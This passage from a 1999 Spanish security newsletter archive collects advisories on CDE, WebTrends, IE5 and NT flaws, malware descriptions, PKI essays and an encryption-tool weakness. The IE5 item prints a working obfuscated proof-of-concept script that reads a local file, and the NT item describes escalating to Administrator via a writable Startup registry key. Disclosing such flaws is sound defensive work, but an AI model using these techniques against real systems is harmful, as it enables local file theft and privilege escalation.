el fichero "interface.log", lo que incluye nombres de usuario
y contraseñas en texto claro.

En cualquier caso, toda la información de los usuarios es
almacenada en "wtm_wtx/datfiles/users/[nombre_de_usuario].usr",
donde es accesible para cualquier usuario local. Con lo que
se permite llevar a cabo ataques contra la contraseña,
modificación, o borrado directo de los ficheros.

Para terminar esta serie de despropósitos, WebTrends Enterprise
Reporting Server trae por defecto la contraseña del administrador
en Blanco. Sin duda uno de los mayores errores que pueda cometer
cualquier programa o aplicación ya que puede llegar a permitir
realizar accesos remotos como administrador si no se modifica la
configuración inicial.

Más información:
Webtrends Enterprise Reporting Server
WebTrends Enterprise Reporting Server Multiple Vulnerabilities



Bernardo Quintero



sábado, 16 de octubre de 1999

Cuatro Vulnerabilidades en el Common Desktop Environment

Existen cuatro graves vulnerabilidades en el CDE, que permiten que
cualquier usuario local obtenga privilegios de "root". Una de las
vulnerabilidades, "CoolTalk" permite que un usuario remoto ejecute
código arbitrario en el servidor, con privilegios de "root". Estas
vulnerabilidades están siendo explotadas, y afectan a cualquier
plataforma que ejecute CDE.
CDE (Common Desktop Environment) es un entorno gráfico X-Window, nativo
en la mayoría de las distribuciones comerciales de Unix: Tru64/Digital
Unix, HP-UX, AIX, IRIX, Solaris, etc.

1. ToolTalk ttsession

ToolTalk es un protocolo RPC diseñado para intercomunicar aplicaciones
sin relaciones mutuas. A la hora de procesar los mensajes, el servidor
ttsession utiliza diversas variables de entorno suministradas por el
cliente y, por tanto, vayo control de un posible atacante.

Este ataque es posible tanto de forma local como remota.

2. dtspcd

Este demonio permite lanzar procesos de forma remota. Un usuario local
tiene acceso a los ficheros creados con fines de autentificación,
pudiendo manipularlos y ejecutar código como root.

3. dtaction

dtaction es un servicio que permite que permite que aplicaciones no
escritas para DCE puedan invocar acciones DCE. Este servicio es
vulnerable a un ataque por "Buffer Overflow".

4. Librería compartida usada por ToolTalk

Algunas implementaciones ToolTalk emplean una librería compartida con un
"buffer overflow" a través de la variable de entorno TT_SESSION.

Más información:
K-001: Four Vulnerabilities in the Common Desktop Environment
CERT Advisory CA-99-11: Four Vulnerabilities in the Common Desktop Environment



Jesús Cea Avión
jcea@hispasec.com



viernes, 15 de octubre de 1999

HispaSec descubre una vulnerabilidad en ThunderCrypt

ThunderCrypt es una aplicación de cifrado de datos de ThunderStore,
este programa permite el cifrado de archivos y directorios mediante
el algoritmo Blowfish. El laboratorio de HispaSec ha descubierto una
debilidad por la cual el cifrado de los archivos resulta inútil.
El laboratorio de HispaSec realiza continuas pruebas de todo tipo de
programas con el objeto de evaluar la calidad y debilidades de
dichas aplicaciones. Durante la realización de estas pruebas hemos
descubierto una grave debilidad en un programa de cifrado, la cual
comunicamos a todos nuestros lectores en total primicia.

ThunderCrypt es una aplicación que permite el cifrado de archivos y
carpetas mediante el uso del algoritmo de cifrado Blowfish. Este
algoritmo, desarrollado por el prestigioso criptógrafo Bruce
Schneider en 1993 proporciona un cifrado simétrico de bloques y se
establece como sustituto de DES o IDEA. Entre las ventajas de
Blowfish se cuenta la posibilidad de tener una una longitud
variable de llave, que puede ser desde 32 bits hasta 448 bits.

El trabajo con ThunderCrypt se realiza mediante lo que se puede
denominar carpetas virtuales, en las que el usuario dispone los
diferentes archivos o carpetas que desee cifrar. De esta forma se
permite el cifrado de distintos archivos atendiendo a su temática
o utilización. Así, dependiendo del trabajo que se realice en cada
momento, se pueden mantener cifrados todos los datos salvo
únicamente aquellos que se precisan para cada ocasión.

La creación de nuevas carpetas virtuales se protege mediante una
contraseña maestra que se introduce durante la instalación del
producto. Si bien posteriormente cada carpeta se protege de forma
individual mediante su propia password.

Durante las pruebas realizadas con este programa HispaSec ha
descubierto una debilidad en su forma de trabajo que permite
recuperar cualquier archivo a pesar de que este haya sido cifrado.
Lo cual hace totalmente inútil el uso del programa. Tras el
cifrado de los archivos, ThunderCrypt borra los ficheros procesados
para que los datos queden totalmente protegidos. Pero en esta fase
recae el gran problema del programa, en nuestras pruebas hemos
podido observar como este borrado no es todo lo adecuado que podría
esperarse para un programa de seguridad de este tipo.

El problema radica en que no se realiza un borrado seguro de los
archivos, eliminando estos de la forma habitual proporcionada por
el sistema. Los archivos no pasan por la habitual papelera, pero
a pesar de ello la recuperación de los archivos eliminados queda
al alcance de cualquier software de edición de disco a bajo nivel.
Basta emplear un editor de sectores de disco para comprobar que
los datos originales siguen en el disco duro y su recuperación es
sencilla.

En las opciones de configuración de ThunderCrypt se puede
encontrar una opción que permite "Eliminar los directorios al
encriptar los archivos". Se puede pensar que hay que hacer uso de
esta opción para salvaguardar los datos, pero lo único que se
consigue es generar un archivo en el directorio cifrado con la
frase "El contenido de este directorio está encriptado con
ThunderCrypt". Al proceder a efectuar el análisis anterior con el
editor de disco, encontramos que tan sólo se ha generado dicho
archivo, es decir tan sólo un sector del disco queda realmente
sobreescrito e irrecuperable.

La protección ofrecida por ThunderCrypt es válida a efectos de
esconder la información ante las miradas de curiosos, accesos
rápidos al sistema con poco tiempo de maniobra, o atacantes de
poca experiencia. Pero es evidente que no superaría un análisis
exhaustivo. Hay que destacar que la debilidad no proviene del
cifrado, sino del método con que los archivos son eliminados. Una
medida común para asegurarse el borrado real de los archivos,
suele ser sobreescribir estos con archivos de mismo nombre de
tamaño 0, o incluso sobreescribir los ficheros con basura, para
proceder posteriormente a su borrado. Técnicas que debería
seguir este programa, y que recomendamos para posteriores
versiones.

Más información:
ThunderStore
ThunderCrypt



Antonio Ropero



jueves, 14 de octubre de 1999

Vulnerabilidad "User Shell Folders" en Windows NT

Esta vulnerabilidad permite que cualquier usuario de Windows NT
pueda modificar la trayectoria del subdirectorio "Startup"
("Inicio" en la versión español). Mediante esta técnica un
usuario podría, por ejemplo, ejecutar un programa para ganar
privilegios en el sistema y convertiste en Administrador.
Por defecto el subdirectorio "Startup" común para todos los
usuarios se encuentra en la trayectoria "c:\Winnt\Profiles
\All Users\Start Menu\Programs\Startup". En esta carpeta se
emplazan los accesos directos a los programas que se ejecutan
de forma automática cada vez que un usuario inicia su sesión
en Windows NT.

Para impedir que cualquier usuario pueda depositar en este
subdirectorio enlaces a programas, Windows NT establece por
defecto, en esta carpeta, permiso de solo lectura para el
grupo "Everyone", mientras que tienen acceso total los grupos
"Administrator" y "System". Con esta configuración por defecto
Microsoft intenta que sea imposible para un usuario sin
privilegios situar en este subdirectorio programas para que se
ejecuten por defecto, con los problemas que esta acción podría
acarrear a la seguridad del sistema.

Sin embargo, la misma configuración que Windows NT trae por
defecto, y protege de forma directa a esta carpeta, deja al
descubierto la clave del registro que determina cual es la
trayectoria de la carpeta "Startup". La clave
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
\Explorer\UserShell Folders\Common Startup" trae por defecto
el valor "%SystemRoot%\Profiles\All Users\Start Menu\Programs
\Startup". Cualquier usuario puede modificar el valor de esta
clave para que apunte a otro subdirectorio al que tenga acceso,
donde todos los programas que contenga se ejecutaran de forma
automática cada vez que un usuario inicie la sesión en el
sistema.

Un ataque basado en esta vulnerabilidad puede consistir en
ejecutar un script que añada un usuario al grupo
"Administrator", de forma que la próxima vez que se inicie una
sesión con los privilegios adecuados, como por ejemplo un
Administrador, el script llevará a cabo su acción.

La solución pasa por establecer los permisos adecuados a la clave
del registro e impedir así que cualquier usuario pueda modificar
su valor. Se recomienda que "HKLM\Software\Microsoft\Windows\
CurrentVersion\Explorer" cuente con los permisos de acceso total
para los grupos "Administrators", "Creator Owner" y "System",
dejando al grupo "Everyone" con acceso de solo lectura.

Más información:
NTBugtraq



Bernardo Quintero



miércoles, 13 de octubre de 1999

PKI o los cimientos de una criptografía de clave pública (II)

Los mayores obstáculos a los que se han enfrentado las empresas
pioneras en la implantación de soluciones PKI para sus necesidades de
negocio electrónico (e-Business) han sido tradicionalmente:
- - La falta de interoperabilidad, ya que el mero hecho de ceñirse al
estándar X.509.v3 no garantiza en absoluto que dos certificados
generados por dos sistemas desarrollados por casas distintas sean
mutuamente compatibles. Además, existen problemas de confianza entre
AC de distintas organizaciones, que puede imposibilitar la
verificación con éxito de cadenas de certificación cuya AC raíz sea
desconocida o no confiable, invalidándose todo el esquema de PKI.

- - El coste ha sido un problema desde el principio. Al no existir un
mercado suficientemente maduro en PKI, cada empresa que ofrece
soluciones de clave pública tarifica en función de criterios diversos
(por certificado, por uso de certificado, por servidores
instalados,...) y cobra honorarios también dispares, de manera que la
inversión en PKI como respuesta a las necesidades de seguridad y
accesibilidad a los activos informáticos de la empresa puede resultar
cuando menos inesperadamente elevada.

- - Las aplicaciones patrimoniales (legacy), cuyo acceso representa la
motivación principal para aventurarse en la jungla de PKI, no son
compatibles con la mayoría de soluciones ofertadas, desincentivando
así su uso.

- - PKI termina presentando problemas de escalabilidad, cuando el número
de certificados emitidos a los usuarios va creciendo, debido a que las
listas de revocación deben ser consultadas en cada operación que
involucre certificados y firmas digitales, si se desea una
implantación seria y robusta de PKI. Bien es cierto que el esquema de
confianza vertical, promulgado por las estructuras de certificación en
árbol, resulta más escalable que los modelos de confianza horizontal,
como el adoptado por PGP, cuya problemática es tan seria que no se
prevé solución satisfactoria.

- - Finalmente, la tecnología PKI se le antoja un tanto esotérica al
usuario final, que no terminan de entender del todo la jerga
relacionada. Acostumbrado a autenticarse sin más que introducir su
nombre y contraseña, puede sentirse fácilmente rebasado por la
complejidad tecnológica de las firmas digitales y demás funciones
criptográficas. Por demás, en la medida en que no se instauren las
tarjetas chip, controles biométricos y otros dispositivos similares
criptográficamente robustos, el problema de los usuarios anotando su
contraseña (en este caso para acceder a su clave privada) en un
post-it pegado en el monitor persistirá por mucho tiempo.

Por lo tanto, ¿constituye PKI la solución a sus problemas? La
respuesta depende de qué problemas afronte. No existen fórmulas
mágicas ni soluciones generales aptas para todo tipo de negocio.

La PKI resulta ideal en una intranet, en la que se comparten
documentos (trabajo en grupo), se accede a recursos de red (cálculo,
servidores de archivos, bases de datos, etc.), se intercambia correo
certificado entre los empleados, etc. PKI resulta mucho más ágil que
los sistemas tradicionales de control basados en nombre y contraseña y
listas de control de acceso.

En el caso de extranets o de Internet, PKI es de uso obligado. De
hecho, es la única forma conocida actualmente de prestar confianza a
los actores de las relaciones telemáticas que no se conocen entre
ellos, tanto en el business-to-business entre empresas, como en el
comercio al por menor, entre vendedores y compradores particulares por
Internet. La confianza en un grupo de AC mundialmente reconocidas
(como VeriSign) o localmente aceptadas (como FNMT, ACE o FESTE en
España) permite que las entidades involucradas puedan fiarse unas de
otras, a pesar de no existir contacto físico ni vínculo previo entre
las partes. SSL y SET se están convirtiendo en estándares de facto que
atestiguan el éxito de las tecnologías de clave pública en escenarios
de seguridad descentralizados como Internet. Las últimas iniciativas
de las Administraciones Públicas para descargar procedimientos
administrativos, realizados en papel y sometidos a la venalidad
burocrática, hacia procesos digitales interactivos, hacen uso también
de tecnología PKI.

Piénselo. PKI puede ser la respuesta a su futuro. Eso sí, no olvide
definir correctamente cuáles son sus necesidades exactas y entonces
elija la estrategia PKI que mejor se adapte a su modelo de negocio.
Exija soluciones/productos integrables centrados en su proceso de
negocio. Sólo entonces la tecnología probará ser su mejor aliado.


Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es
Boletín Criptonomicón #57
http://www.iec.csic.es/criptonomicon



martes, 12 de octubre de 1999

PKI o los cimientos de una criptografía de clave pública (I)

En los últimos meses se ha vuelto difícil encontrar un anuncio o
propaganda sobre productos de seguridad y soluciones globales seguras
para su empresa que no incluya alguna referencia a PKI. Las
infraestructuras de clave pública (PKI en inglés) se están poniendo de
moda. ¿Es todo una nueva palabra mágica en labios de sonrientes
comerciales? ¿Qué hay detrás de las PKI? ¿Qué significa PKI
exactamente?
PKI se basa en la criptografía de clave pública, cuyos orígenes se
remontan al artículo seminal de Diffie y Hellman en 1976, donde se
explica la idea revolucionaria de servirse para las operaciones
criptográficas de una pareja de claves, una pública, conocida por
todos, y otra privada, sólo conocida por el usuario a quien le es
asignada. Un mensaje puede ser cifrado por cualquier persona usando la
clave pública, ya que es públicamente conocida, aunque sólo el
poseedor de la clave privada podrá descifrarlo. Recíprocamente, un
mensaje cifrado con la clave privada sólo puede ser cifrado por su
poseedor, mientras que puede ser descifrado por cualquiera que conozca
la clave pública.

Estas propiedades de que goza la criptografía de clave pública, cuyo
uso más común se plasma en la firma digital, la convierten en
candidata ideal para prestar servicios como la autenticación de
usuarios (para asegurarse de la identidad de un usuario, bien como
signatario de documentos o para garantizar el acceso a servicios
distribuidos en red, ya que sólo él puede conocer su clave privada,
evitando así la suplantación), el no repudio (para impedir que una vez
firmado un documento el signatario se retracte o niegue haberlo
redactado), la integridad de la información (para prevenir la
modificación deliberada o accidental de los datos firmados, durante su
transporte, almacenamiento o manipulación), la auditabilidad (para
identificar y rastrear las operaciones, especialmente cuando se
incorpora el estampillado de tiempo), y el acuerdo de claves secretas
para garantizar la confidencialidad de la información intercambiada,
esté firmada o no. ¿Desea proporcionar todos estos servicios de
seguridad en su empresa? PKI puede ser la respuesta.

Ahora bien, ¿cómo podemos estar seguros de que la clave pública de un
usuario, que hemos encontrado por ejemplo en un directorio o una
página web, corresponde realmente a ese individuo y no ha sido
falsificada por otro? ¿Cómo fiarnos de esa clave pública antes de
confiarle algún secreto nuestro? La solución más ampliamente adoptada
consiste en recurrir a una tercera parte confiable, erigida en la
figura de una autoridad de certificación (AC). La función básica de
una AC reside en verificar la identidad de los solicitantes de
certificados, crear los certificados y publicar listas de revocación
cuando éstos son inutilizados. El certificado contiene de forma
estructurada información acerca de la identidad de su titular, su
clave pública y la AC que lo emitió. Actualmente, el estándar al uso
es el X.509.v3.

Con el tiempo, una autoridad de certificación puede verse fácilmente
desbordada si cubre un área geográfica muy extensa o muy poblada, por
lo que a menudo delega en las llamadas autoridades de registro (AR) la
labor de verificar la identidad de los solicitantes. Las AR pueden
abrir multitud de oficinas regionales dispersas por un gran
territorio, llegando hasta los usuarios en los sitios más remotos,
mientras que la AC se limitaría así a certificar a todos los usuarios
aceptados por las AR dependientes de ella. Gracias a esta
descentralización se agiliza el proceso de certificación y se aumenta
la eficacia en la gestión de solicitudes.

En definitiva, una PKI incluirá una o varias autoridades de registro
para certificar la identidad de los usuarios; una o varias autoridades
de certificación que emitan los certificados de clave pública; un
repositorio de certificados, accesible vía web u otro medio, donde se
almacenen los certificados; las listas de revocación de certificados
(CRL), donde se listan los certificados suspendidos o revocados; y,
por supuesto, los propios certificados.




Gonzalo Álvarez Marañón
criptonomicon@iec.csic.es
Boletín Criptonomicón #57
http://www.iec.csic.es/criptonomicon



lunes, 11 de octubre de 1999

Vulnerabilidad "IFRAME" en Microsoft IE5

Una nueva vulnerabilidad en Internet Explorer 5, descubierta por
Georgi Guninski y confirmada por la propia Microsoft, permite
leer los ficheros locales de los usuarios a través de una página
web diseñada mediante la combinación de IFRAME y el método
ExecCommand().
Las restricciones de seguridad que impone Microsoft en su
navegador impiden, en principio, que el método Document.ExecCommand
pueda ser usado desde otro dominio. De esta forma, y en teoría,
sería imposible para una página web invocar a este método para leer
y enviar datos del sistema local que la visita.

Sin embargo, Georgi Guninski ha demostrado que es posible
utilizar este método en combinación con IFRAME para burlar las
restricciones impuestas por Microsoft, y leer así los ficheros de
los usuarios de forma remota a través de una página web construida
para la ocasión.

A continuación se puede comprobar, en el código de la demostración,
como se crea un IFRAME donde se injecta el código javascript, a
través de la etiqueta [STYLE="left:expression(eval(JSCode))]".
Donde eval(JSCode) equivale a [a=window.open('file://c:/test.txt');
alert(a.document.body.insertText)], que será ejecutado en el
contexto del sistema local del usuario [file://].


<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expr
ession(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,
111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,1
15,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,11
1,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114
,84,101,120,116,41)));'");
}
setTimeout('f()',2000);
</SCRIPT>
<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME>

En la actualidad, Microsoft trabaja en el desarrollo del
pertinente parche, mientras tanto, se aconseja deshabilitar la
opción de "Secuencias de comando ActiveX", accesible a través del
menú Herramientas -> Opciones de Internet -> Seguridad ->
Personalizar Nivel.

Más información:
Boletín de seguridad Microsoft
FAQ de la vulnerabilidad
Demostración Georgi Guninski



Bernardo Quintero



domingo, 10 de octubre de 1999

I-Worm.BadAss

"BadAss" es un nuevo gusano que está propagándose vía
Internet usando MS Outlook. El gusano es un ejecutable
Windows EXE con un tamaño de 25Kb escrito en VisualBasic.
Parece basado en el virus de macro Melissa, las funciones
y secuencia de instrucciones del código del gusano son muy
similares a las de este este conocido virus/gusano. Parece
como si "BadAss" se hubiera compilado partiendo del código
de Melissa realizando algunas leves modificaciones.
El gusano se transmite por la red en archivos infectados
adjuntos a mensajes de correo electrónico. El archivo anexo
original lleva el nombre BADASS.EXE, pero es posible
renombrar manualmente el archivo EXE y continuar la
propagación con el nuevo nombre.

Cuando se recibe un mensaje infectado y se ejecuta el
archivo anexo, el gusano toma el control e inicia su rutina
principal mostrando ventanas de mensajes. A continuación,
ejecuta la rutina de infección abriendo la base de datos de
Outlook, obtiene la libreta de direcciones de correo y envía
mensajes infectados a los miembros de la lista. El asunto del
mensaje infectado contiene la cadena: "Moguh.." y el texto
"Dit is wel grappig! :-)" como cuerpo.

El gusano no envía dos veces mensajes desde el mismo ordenador.
Para evitar la duplicidad crea una clave en el registro del
sistema y la comprueba cada vez que arranca.


HKCU\SoftWare\VB and VBA Program Seettings\Windows\CurrentVersion
"CMCTL32"="00 00 00 01"

La primera ventana de mensajes mostrada por el gusano contiene
el siguiente texto:


Kernel32
An error has occured probably because your cunt
smells bad. Is this really so?
[ Yes ] [ No ]

Al mover el cursor con el ratón hacia el botón [No] el gusano lo
mueve hacia [Yes] y continua haciéndolo hasta que se pulsa [Yes]:


[ Yes ] [ No ]
[ No ] [ Yes ]
[ Yes ] [ No ]

Así, el gusano no permite que se pulse el botón [No] (ver
también el programa-broma "Win.Stupid"). Cuando se pulsa el botón
[Yes] el gusano muestra otro mensaje y ejecuta la rutina de
infección:


WIN32
Contact your local supermarket for toiletpaper and soap to
solve this problem.
[ OK ]

Más información:

I-Worm.BadAss en AVPVE


Kaspersky Labs



sábado, 9 de octubre de 1999

Resuelto el Cripto-Reto ECC2-97

El pasado 22 de Septiembre un equipo multinacional, tras 40 días y
empleando 740 ordenadores repartidos por todo el planeta, logró
completar el reto ECC2-97. El reto fue propuesto por la empresa
Certicom, poseedora de numerosas patentes que cubren esta tecnología, y
está premiado con 5.000 dólares americanos. De ellos, los afortunados
miembros del equipo que encontraron la solución recibirán 1.000 dólares.
Los 4.000 dólares restantes serán donados a la FSF (Free Software
Foundation), para potenciar el desarrollo de software libre.
La solución al reto era:


64206457470187038759216338447 módulo 79228162514264464603828067969.

Los criptosistemas basados en curvas elípticas son criptosistemas de
clave pública basados en la dificultad de calcular logaritmos en el
cuerpo constituido por los puntos que conforman una curva elíptica. Se
trata de un sistema de clave pública alternativo a los basados en la
factorización de un número compuesto, como es el caso del popular
algoritmo RSA. La hipótesis aquí es que, en igualdad de condiciones, los
criptosistemas de curvas elípticas son más rápidos, más seguros y más
pequeños que los basados en factorización.

La resolución del reto consumió aproximadamente 16.000 MIPS-año. En
comparación, el reto RDS-155, completado recientemente, requirió unos
8.000 MIPS-año. Teniendo en cuenta que el ECC empleaba una clave de 97
bits, mientras que RSA-155 es un clave de 515 bits, puede decirse que el
reto ha cumplido su objetivo: corroborar que ECC parece más seguro que
RSA y similares.

Más información:
Nota de Prensa
Retos Certicom ECC
Tutorial sobre Curvas Elípticas
Elliptic Curve Discrete Logarithms Project
Everything you ever wanted to know about Elliptic Curve Discrete Logarithms
Factorización de RSA-155



Jesús Cea Avión
jcea@argo.es
http://www.argo.es/~jcea/



viernes, 8 de octubre de 1999

Un hacker catalán gana el reto de 'PCWEEK'

Como quien no para hasta que acaba el crucigrama, Lluís Mora (alias
JFS) estuvo veinte horas ante la pantalla de su Pentium II, conectado
a la red por módem, para entrar en una de las máquinas que la
prestigiosa revista "PCWeek" había puesto como cebo/reto a la
comunidad hacker. "Estoy orgulloso de mi mismo", asegura el joven de
22 años, adicto a la informática desde los 8 y auditor de seguridad en
Abstract Works Ltd.
"El desafío que PCWeek Labs propone al público es entrar en el sitio,
marcar la página principal y/o coger información". Así se dirigía la
revista, el pasado 20 de septiembre, a expertos de todo el planeta,
ofreciéndoles un premio simbólico de mil dólares si conseguían romper
la seguridad de alguna de las dos máquinas habilitadas para el
concurso: una corriendo Windows NT/IIS y la otra, Linux RedHat/Apache.
"Miré el NT pero Linux me gustó más, porque tengo más experiencia",
explica Lluís, quien denuncia que "el NT estaba más bien protegido,
con la mayoría de fallos parcheados, mientras que instalaron el Linux
tal como sale de la caja".

A pesar de que cada día son más frecuentes estos retos, el de "PCWeek"
había despertado expectación en los principales foros de seguridad,
por la reputación de la revista. "Un amigo me envió lo del concurso y
fui sólo a mirar, porque suelen ser difíciles, pero empecé a encontrar
camino, apuntando cosas, tirando adelante y atrás, probando
fallos...", y así hasta 20 horas de lucha ininterrumpida por el
control de la máquina: "Estaba detrás de un cortafuegos que impedía
todo acceso que no fuese web. Fue difícil entrar", explica.

El truco estaba en una aplicación comercial de anuncios, un CGI
(Common Gateway Interface), que el joven estudió con atención en lo
que fue el auténtico 'hack' de la aventura: encontrar un fallo para
introducirse en la máquina. Ya dentro, explotó un agujero del
desprotegido Linux y cambió la página. "El aliciente no era el dinero
sino superarte a ti mismo y a los otros, y lo bien que te sientes
cuando lo consigues, saltas de la silla, es una descarga de
adrenalina, no se puede describir", se entusiasma y sonríe: "Es
divertido que te den permiso para hacer algo que normalmente no
podrías y, además, te paguen".

Según su opinión, que ha hecho llegar también al foro de "PCWeek"
donde discuten los participantes en el reto, el fallo de seguridad que
le permitió la entrada se hubiese evitado "si el CGI no hubiese sido
comercial sino de dominio público, ya que con el código abierto habría
sido más fácil que alguien descubriese el error y estuviese ya
reparado". Lluís Mora, que empezó con un Spectrum, estudió Ingeniería
Informática y hoy es un experto en seguridad, está convencido que su
campo de estudio tiene y tendrá cada vez más importancia para las
empresas: " En un reciente informe, se indicaba que en orden de
preferencia, la seguridad de los sistemas informaticos estaba por
encima de otros puntos tradicionales como pueden ser el coste o el
tiempo de mercado".

Más información:
Cómo lo hizo
Concurso
Abstract Works



Mercè Molist
Ciberp@ís



jueves, 7 de octubre de 1999

"Infis": un nuevo virus ataca Windows NT

"Infis" es el primer virus que actúa como un controlador del sistema
de Windows NT. Esto lo hace muy dificil de detectar y eliminar de
memoria. Bautizado como WinNT.Infis, os invitamos a conocer con
detalle este nuevo virus de la mano de sus descubridores.
Características Generales

"Infis" es un virus de archivo residente en memoria que es operativo
bajo Windows NT 4.0 con los Service Packs 2, 3, 4, 5, 6 instalados.
No afecta a los sistemas bajo Windows 95/98, Windows 2000 u otras
versiones de Windows NT.

Indicadores de la infección

El principal indicador de la infección es la imposibilidad de ejecutar
algunos programas como MSPAINT.EXE, CALC.EXE, CDPLAYER.EXE etc. debido
a que un error de programación en el virus daña su codificación. Otro
indicador es la presencia del archivo INF.SYS en la carpeta
/WinNT/System32/Drivers.

Instalación

Al ejecutar un archivo infectado el virus se copia en el archivo
INF.SYS de la carpeta de controladores WinNT\System32\Drivers. Crea
entonces una clave con tres secciones en el registro del sistema
Windows:

\Registry\Machine\System\CurrentControlSet\Services\inf
Type = 1 - standard Windows NT driver
Start = 2 - driver start mode
ErrorControl = 1 - continue system loading on error in driver

Como resultado de ello, el archivo INF.SYS se activa cada vez que
arranca el sistema ejecutando una subrutina que infecta la memoria de
Windows NT. Al completar su instalación en memoria toma el control de
funciones internas de Windows no documentadas. El virus intercepta la
apertura de archivos, comprueba los nombres de archivo y su formato
interno, entonces llama a la rutina de infección.

Infección

El virus "Infis" infecta solo archivos EXE PE (Portable Executable)
excepto CMD.EXE (Windows NT command processor). Al infectar incrementa
la longitud del archivo solo con su código (4608 bytes). El virus evita
repetir la infección del archivo, reconoce los archivos infectados
mediante el cambio de la fecha y hora al valor 1 (FFFFFFFFh).

Carga dañina

El virus "Infis" no posee carga dañina pero debido a errores en su
programación puede dañar algunos archivos infectados. En este caso su
ejecución produce un error de aplicación de Windows NT.

Más información:
AVPVE



Kaspersky Labs



miércoles, 6 de octubre de 1999

Jornadas de Internet y Derecho Penal

"Kafkiano mundo en el que nos vemos inmersos con las nuevas
tecnologías de la información, de mensajes encriptados, puertas que
abren y cierran, y kafkiana la pretensión de regular esto". Con tales
palabras cerraba Josep M. Tamarit, catedrático de la Universitat de
Lleida, el seminario sobre Internet y Derecho Penal, realizado la
semana pasada en Barcelona. Un seminario dominado por las paradojas
entre el viejo mundo de la 'dura lex' y la frontera electrónica.
¿Se puede condenar a alguien a que no toque un ordenador? ¿Si
registras ozu.fr, puede ozu.es denunciarte? ¿Es más grave atentar
contra las comunicaciones del estado o robar un camión del ejército?
¿Debería despenalizarse el pirateo de programas, si no hay percepción
social de estar cometiendo un delito? ¿Qué hacer con el datotráfico?.
Mil dudas que pusieron en el tapete lo que parecían dos equipos de
conferenciantes: el visitante, sector duro de la reglamentación en la
red, y el local, profesores de derecho como Francisco Baldó, quien
bromeaba: "Un hacker explota fallos de programas y los abogados
explotan fallos de la legislación".

Baldó y otros calificaron de "código malicioso" a los programas
defectuosos y se ofrecieron a quien quisiera poner una demanda en este
sentido. Hubo también críticas para "las empresas que no asumen su
cuota de corresponsabilidad cuando les pasa algo porque no tenían
política de seguridad". La legislación, "simbólica, hecha sin saber
como funciona la Internet real", recibió también lo suyo,
especialmente la reciente sobre firma electrónica que, según Ramon
García, "se apoya en un tacón de cristal". Junto a ellos, Amadeu
Abril, miembro de la ICANN, se quejaba de que "criminalizamos todo lo
que ocurre en la red y estamos empezando a exagerar. La mayoría de
problemas vienen del 'parásito simpático', un uso marginal y
permisible seguramente".

En el otro equipo, representantes del orden como el capitán de la
Guardia Civil Anselmo del Moral, quien se quejó de la dificultad de
identificación en la red, la transnacionalidad y lo que se ha
disparado el fraude electrónico: "Estamos con la maleta por toda
España, es impresionante". Del Moral pidió la regulación del uso de la
encriptación, la creación de una fiscalía de delitos informáticos y
que "no se pongan las pegas que se nos han puesto cuando el único
rastro es el número de teléfono".

Susan F. Wilson, fiscal de la Oficina de Delitos Informáticos y
Propiedad Intelectual estadounidense, se expresó de forma semejante:
al grito de "nadie está a salvo" y "amenazan nuestras vidas", llamó a
"vigilar a los hackers en el mundo real", interceptando carriers y
teléfonos. La apoyó el catedrático Ulrich Sieber, recién llegado de la
convención de Munich. Su lema: "Paremos la confrontación, hagamos una
nueva alianza entre la indústria de Internet y las fuerzas de la ley".
Otro: "Lo que es ilegal offline, lo es online". Y otro: "Si no podemos
controlar a todos los proveedores, controlemos sólo a los de
contenido".

Más información:
CNIL - Commission Nationale de l'Informatique et des Libertés
(CCIPS) - Computer Crime and Intellectual Property Section



Mercè Molist
Ciberp@ís



martes, 5 de octubre de 1999

España, a la vanguardia de las firmas electrónicas (II)

Segunda y última entrega que completa el artículo donde se
recogen aspectos fundamentales sobre la firma electrónica y
los puntos más relevantes del reciente Decreto-Ley que regula
esta tecnología en España.
Los requisitos que enumera el artículo 8 para que un certificado sea
reconocido incluyen: la indicación de que se expiden como tales; el
código identificativo único del certificado; la identificación del
prestador de servicios de certificación que expide el certificado (es
decir, de la autoridad de certificación); la firma electrónica
avanzada del prestador de servicios de certificación que expide el
certificado (la firma digital de la AC que da fe de que el certificado
expedido es válido); la identificación del signatario, por su nombre y
apellidos o a través de un seudónimo que conste como tal de manera
inequívoca (a menudo se incluyen otros datos, como su página web
personal o su dirección de correo o alguna otra información relevante
para el certificado); los datos de verificación de firma (es decir, la
clave pública) que correspondan a los datos de creación de firma que
se encuentren bajo el control del signatario (su clave privada); el
comienzo y el fin del período de validez del certificado; los límites
de uso del certificado, si se prevén; los límites del valor de las
transacciones para las que puede utilizarse el certificado, si se
establecen.

Por su parte, los artículos 7, 11 y 12 recogen las obligaciones
exigibles a los prestadores de servicios de certificación que expidan
certificados reconocidos, entre las que destacan: la comprobación de
la identidad de los solicitantes de los certificados (ya que si esta
verificación no se realiza rigurosamente, toda la idea de certificados
y firmas digitales pierde su validez), no almacenar las claves
privadas de los usuarios, informar debidamente a los solicitantes
acerca de precios y condiciones de utilización de los certificados,
mantener un registro de todos los certificados emitidos y de su estado
de validez, indicar la fecha y la hora en las que se expidió o se dejó
sin efecto un certificado, demostrar la fiabilidad necesaria de sus
servicios, garantizar la rapidez y la seguridad en la prestación del
servicio, emplear personal cualificado y con la experiencia necesaria
para la prestación de los servicios ofrecidos, en el ámbito de la
firma electrónica y los procedimientos de seguridad y de gestión de
terceros interesados, utilizar sistemas y productos fiables protegidos
contra toda alteración, tomar medidas contra la falsificación de
certificados, conservar registrada toda la información y documentación
relativa a un certificado reconocido durante quince años, utilizar
sistemas fiables para almacenar certificados.

Un párrafo importante en el artículo 12 es el g), en el que se exige
"disponer de los recursos económicos suficientes para operar de
conformidad con lo dispuesto en este Real Decreto-Ley y, en
particular, para afrontar el riesgo de la responsabilidad por daños y
perjuicios. Para ello habrán de garantizar su responsabilidad frente a
los usuarios de sus servicios y terceros afectados por éstos. La
garantía a constituir podrá consistir en un afianzamiento mercantil
prestado por una entidad de crédito o en un seguro de caución.
Inicialmente, la garantía cubrirá, al menos, el 4 por 100 de la suma
de los importes límite de las transacciones en que puedan emplearse el
conjunto de los certificados que emita cada prestador de servicios de
certificación. Teniendo en cuenta la evolución del mercado, el
